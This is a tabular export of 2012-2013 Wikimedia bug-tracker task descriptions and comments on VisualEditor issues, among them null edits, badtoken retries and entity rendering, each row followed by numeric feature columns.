199532,Automatically convert external links to local resources to local wiki links if possible,"Sometimes it is done deliberately, e.g. at https://en.wikipedia.org/w/index.php?title=English_Wikipedia&oldid=558847653 .  In that case, they do use olids (permalinks), which is a way you could distinguish if you wanted to do the auto-replacement.",,,1371258257,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,8.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6,0.85,"Sometimes it is done deliberately, e.g. at URL .  In that case, they do use olids (permalinks), which is a way you could distinguish if you wanted to do the auto-replacement."
199528,Automatically convert external links to local resources to local wiki links if possible,"Ask, or just silently replace? But then it will 'dirty diff' if this has been done deliberately. Also, to do this, link inspector will need to have a concept of canonical URLs and optional other URLs for this context, which is messy as hell.",,,1355343159,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bbycowhblqb7wl5ri2sh,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,15.0,4.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,9.0,2.0,6.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,11.0,0.0,2.0,4.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.7358490566037736,0.8113207547169812,"Ask, or just silently replace? But then it will 'dirty diff' if this has been done deliberately. Also, to do this, link inspector will need to have a concept of canonical URLs and optional other URLs for this context, which is messy as hell."
44984,VisualEditor: Retries when badtoken happened should request new tokens,"When I'm using VisualEditor, session failed for unknown reason. The VisualEditor then keep asking whether I want to try again but it always tries with the old token and error ""badtoken"" keeps coming.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1355292720,1369080457.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-kgk6kmve6lavlyhdrvmv,task_description,resolved,True,c1,1,False,False,True,-29,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,7.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,7.0,5.0,0.0,4.0,0.0,5.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,4.192982456140351,0.7719298245614035,"When I'm using VisualEditor, session failed for unknown reason. The VisualEditor then keep asking whether I want to try again but it always tries with the old token and error ""badtoken"" keeps coming.

--------------------------
**Version**: unspecified
**Severity**: normal"
199442,VisualEditor: Retries when badtoken happened should request new tokens,Merged and will go out with wmf5.,,,1369080457,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kgk6kmve6lavlyhdrvmv,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,1.0,Merged and will go out with wmf5.
199440,VisualEditor: Retries when badtoken happened should request new tokens,Related URL: https://gerrit.wikimedia.org/r/64492 (Gerrit Change Ib43d1938ffa24bc8d1dc76a300e16e486dabd928),,,1368896118,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kgk6kmve6lavlyhdrvmv,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ib43d1938ffa24bc8d1dc76a300e16e486dabd928)
44939,VisualEditor: Save button should be disabled if dm state is identical to page when it was loaded,"Right now, the Save button starts disabled, but when the transaction depth is non-zero it's enabled. This means that two actions that reverse each other (rather than being formally undone) let the user make a 'null edit', which MW then silently accepts.

Ideally, the Save/Create button should be disabled if dm state is identical to page when it was loaded (except for the special-case of oldid pages, where it should always be enabled). Roan suggests a string comparison of the current and original HTML is the least-bad option, given the lack of hash functions in JavaScript.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=43270",Medium,50.0,1355199480,1363370183.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-m3nqsseg45psoqx36exc,task_description,resolved,True,c1,1,True,False,True,-29,,0.5,0.0,0.0,1.5,0.0,8.0,2.0,0.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,6.0,0.0,0.5,1.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,5.0,1.5,1.5,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,3.5,0.0,1.0,0.0,0.5,0.5,11.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,6.0,4.0,9.0,3.5,1.0,7.5,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,1.5,6.0,3.0,0.0,1.0,0.0,1.5,0.0,2.5,1.0,0.0,0.0,0.0,0.5,0.0,3.8200000000000003,0.74,"Right now, the Save button starts disabled, but when the transaction depth is non-zero it's enabled. This means that two actions that reverse each other (rather than being formally undone) let the user make a 'null edit', which MW then silently accepts.

Ideally, the Save/Create button should be disabled if dm state is identical to page when it was loaded (except for the special-case of oldid pages, where it should always be enabled). Roan suggests a string comparison of the current and original HTML is the least-bad option, given the lack of hash functions in JavaScript.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
196874,VisualEditor: Save button should be disabled if dm state is identical to page when it was loaded,I'd suggest that once that change has been merged this bug can be closed.,,,1363363213,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-m3nqsseg45psoqx36exc,task_subcomment,,True,c1,1,True,,,-16,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.9375,I'd suggest that once that change has been merged this bug can be closed.
196867,VisualEditor: Save button should be disabled if dm state is identical to page when it was loaded,"Fixed the zero-history case, and the onbeforeunload issue: https://gerrit.wikimedia.org/r/#/c/53988/",,,1363363142,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-m3nqsseg45psoqx36exc,task_subcomment,,True,c1,1,True,,,-16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,15.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.153846153846154,0.9230769230769231,"Fixed the zero-history case, and the onbeforeunload issue: URL"
196859,VisualEditor: Save button should be disabled if dm state is identical to page when it was loaded,"After some more investigation is appears that comparing html might not do the trick. Doing something trivial like typing and deleting may not leave the html in it's original state. We currently have change markers (although these are queued up for deletion), but also hidden things like pawn characters and maybe other things in the future.

We can still implement the transaction stack check which we don't have at the moment, but telling you if there is a non-zero diff may have to be a job for Parsoid.",,,1363281542,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-m3nqsseg45psoqx36exc,task_subcomment,,True,c1,1,True,,,-16,,0.5,0.5,0.0,0.5,2.0,4.5,1.0,0.0,0.5,1.0,1.5,1.0,0.0,0.0,1.0,2.5,0.0,5.0,9.5,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,4.5,1.0,0.5,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.5,1.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,1.5,3.0,0.0,0.0,1.0,0.0,1.0,6.0,3.0,3.5,2.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,4.0,9.5,1.0,0.0,0.0,0.0,4.0,0.0,1.0,2.0,0.0,2.5,0.5,0.0,0.0,4.144901960784313,0.9007843137254902,"After some more investigation is appears that comparing html might not do the trick. Doing something trivial like typing and deleting may not leave the html in it's original state. We currently have change markers (although these are queued up for deletion), but also hidden things like pawn characters and maybe other things in the future.

We can still implement the transaction stack check which we don't have at the moment, but telling you if there is a non-zero diff may have to be a job for Parsoid."
196852,VisualEditor: Save button should be disabled if dm state is identical to page when it was loaded,"Agree on the window.onbeforeunload.

Not totally enamoured with the idea of a modal alert telling users off for behaviour that is currently silently failing (in core wikitext editor, if you make a null save it'll look like it saved, but no new entry in the history log).

Possibly we could over-ride the edit-success box to say ""You made no changes so nothing was saved"" or something similar? We should probably talk to E3 to see if this is something they'd want to see happen in core anyway...",,,1363280830,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-m3nqsseg45psoqx36exc,task_subcomment,,True,c1,1,True,,,-16,,0.0,2.0,0.5,1.0,0.5,2.0,0.0,0.0,0.0,1.5,2.0,1.5,0.0,0.0,0.0,2.0,0.0,5.0,12.0,3.0,3.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.5,0.5,2.0,2.0,1.0,1.5,1.5,0.0,0.0,1.0,0.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,3.5,2.5,5.0,2.5,1.5,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.5,12.0,1.0,1.0,2.0,0.0,5.5,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,3.9018505079825836,0.8760885341074021,"Agree on the window.onbeforeunload.

Not totally enamoured with the idea of a modal alert telling users off for behaviour that is currently silently failing (in core wikitext editor, if you make a null save it'll look like it saved, but no new entry in the history log).

Possibly we could over-ride the edit-success box to say ""You made no changes so nothing was saved"" or something similar? We should probably talk to E3 to see if this is something they'd want to see happen in core anyway..."
196845,VisualEditor: Save button should be disabled if dm state is identical to page when it was loaded,"Right now the Save button becomes enabled after the first transaction is applied and never goes back to disabled, even if the first transaction is undone. While this isn't ideal, doing a full HTML comparison on pretty much every keystroke may be a bit of an unnecessary overhead. Even doing an transaction stack comparison is a little unnecessary.

The real problem here is the creation of null edits and that only needs to be addressed when the save button is pressed. This could trigger an alert (""You haven't made any changes"") and reset the button to disabled. We should also run this check in the window.onbeforeunload handler so people can leave the page nag-free if they undo their edits.",,,1363254743,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-m3nqsseg45psoqx36exc,task_subcomment,,True,c1,1,True,,,-16,,1.5,0.0,0.0,2.5,1.0,7.5,2.0,0.0,0.0,1.0,0.5,1.0,0.0,0.5,0.0,0.5,0.0,8.0,8.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.5,2.0,0.0,0.0,0.0,0.0,0.0,13.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,9.0,4.5,5.0,4.0,2.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,8.0,0.5,0.0,1.5,0.0,3.0,0.0,0.5,3.0,0.0,1.0,0.0,0.0,0.0,4.25,0.7867647058823529,"Right now the Save button becomes enabled after the first transaction is applied and never goes back to disabled, even if the first transaction is undone. While this isn't ideal, doing a full HTML comparison on pretty much every keystroke may be a bit of an unnecessary overhead. Even doing an transaction stack comparison is a little unnecessary.

The real problem here is the creation of null edits and that only needs to be addressed when the save button is pressed. This could trigger an alert (""You haven't made any changes"") and reset the button to disabled. We should also run this check in the window.onbeforeunload handler so people can leave the page nag-free if they undo their edits."
44897,VisualEditor: HTML entities following double-bracket links are not displayed correctly,"Try to VE-edit this page: http://www.mediawiki.org/wiki/VisualEditor:Extension:ConfirmAccount

Compare: http://parsoid.wmflabs.org/mw/VisualEditor:Extension:ConfirmAccount

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1355068140,1361383659.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-log2ro3sq5p5acp2puga,task_description,declined,True,c1,0,False,False,True,-30,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5161290322580645,0.5806451612903226,"Try to VE-edit this page: URL

Compare: URL

--------------------------
**Version**: unspecified
**Severity**: normal"
194614,VisualEditor: HTML entities following double-bracket links are not displayed correctly,"This works now, ""&nbsp;"" isn't spelled out any more, and the nbsp is rendered as a <span class=""ve-ce-MWEntity""> in the editor as it's supposed to be. There are probably some selection issues with the nbsp's and with the ampersands encoded as &amp; but that's due to a different bug.",,,1361383659,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-log2ro3sq5p5acp2puga,task_subcomment,,True,c1,1,False,,,-19,,3.0,0.0,0.0,3.0,1.0,4.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,4.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,13.0,9.0,0.0,4.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,3.0,3.357142857142857,0.7,"This works now, ""&nbsp;"" isn't spelled out any more, and the nbsp is rendered as a <span class=""ve-ce-MWEntity""> in the editor as it's supposed to be. There are probably some selection issues with the nbsp's and with the ampersands encoded as &amp; but that's due to a different bug."
194609,VisualEditor: HTML entities following double-bracket links are not displayed correctly,"Indeed. The wikitext source reads:

 [[File:Bulbgraph.png|18px|Note|link=]]&nbsp;'''Note''':

The html rendering:

 <img> Note:

VisualEditor:

 <img>&nbsp;Note:

Where ""&nbsp;"" are all separate, selectable and editable characters.

They do roundtrip properly though.",,,1355070979,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-log2ro3sq5p5acp2puga,task_subcomment,,True,c1,0,True,,,-30,,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,16.0,2.0,3.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,10.0,4.293103448275862,0.7068965517241379,"Indeed. The wikitext source reads:

 [[File:Bulbgraph.png|18px|Note|link=]]&nbsp;'''Note''':

The html rendering:

 <img> Note:

VisualEditor:

 <img>&nbsp;Note:

Where ""&nbsp;"" are all separate, selectable and editable characters.

They do roundtrip properly though."
44801,VisualEditor: Selecting multiple empty paragraphs results in selection decreasing by one line per poll interval,"Steps to reproduce:
Edit a page with VisualEditor.
Press return key a few times.
Select those empty lines with mouse or shift+arrows.
Watch in awe as the selected lines decrease one per polling interval.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1354835520,1354844641.0,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,False,PHID-TASK-7cmqtr6tlqrqawji66zc,task_description,resolved,True,c1,0,False,False,True,-30,,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,13.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.032786885245901,0.6721311475409836,"Steps to reproduce:
Edit a page with VisualEditor.
Press return key a few times.
Select those empty lines with mouse or shift+arrows.
Watch in awe as the selected lines decrease one per polling interval.

--------------------------
**Version**: unspecified
**Severity**: normal"
189204,VisualEditor: Selecting multiple empty paragraphs results in selection decreasing by one line per poll interval,Fixed here: https://gerrit.wikimedia.org/r/#/c/37364/,,,1354844641,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-7cmqtr6tlqrqawji66zc,task_subcomment,,True,c1,0,False,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,Fixed here: URL
44665,VisualEditor: Link inspector suggestions highlight multiple items if they have the same label,"Reproduce:

1. Make a link to http://www.google.com
2. Click out of the link
3. Inspect the link
4. Both new page and external link are selected

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1354583100,1354652046.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-sqz4vnvgzmxmvjkrplhx,task_description,resolved,True,c1,0,False,False,True,-30,,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,15.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,3.339622641509434,0.6037735849056604,"Reproduce:

1. Make a link to URL
2. Click out of the link
3. Inspect the link
4. Both new page and external link are selected

--------------------------
**Version**: unspecified
**Severity**: normal"
181467,VisualEditor: Link inspector suggestions highlight multiple items if they have the same label,Patched in https://gerrit.wikimedia.org/r/#/c/36799/ and merged.  Marking resolved.,,,1354652046,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-sqz4vnvgzmxmvjkrplhx,task_subcomment,,True,c1,0,False,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,0.9,Patched in URL and merged.  Marking resolved.
44661,VisualEditor: Context menu shows up in the wrong place on load if document starts with link,"When a document starts with a link, the animation on the page cause the context's location to be incorrect.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1354572300,1354589382.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-jprjjnlynxuoul2du4w2,task_description,resolved,True,c1,0,False,False,True,-30,,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,8.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,4.025,0.7,"When a document starts with a link, the animation on the page cause the context's location to be incorrect.

--------------------------
**Version**: unspecified
**Severity**: normal"
206793,VisualEditor: Context menu shows up in the wrong place on load if document starts with link,Fixed in gerrit 36653,,,1354573861,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jprjjnlynxuoul2du4w2,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Fixed in gerrit 36653
44469,VisualEditor: Leading newlines in <pre>s get eaten,"https://www.mediawiki.org/w/index.php?title=VisualEditor%3APre&diff=609875&oldid=609874

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1353980580,1354757611.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-nhhyjbko2xftjs44uuqt,task_description,resolved,True,c1,0,False,False,True,-31,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9473684210526314,0.5263157894736842,"URL

--------------------------
**Version**: unspecified
**Severity**: normal"
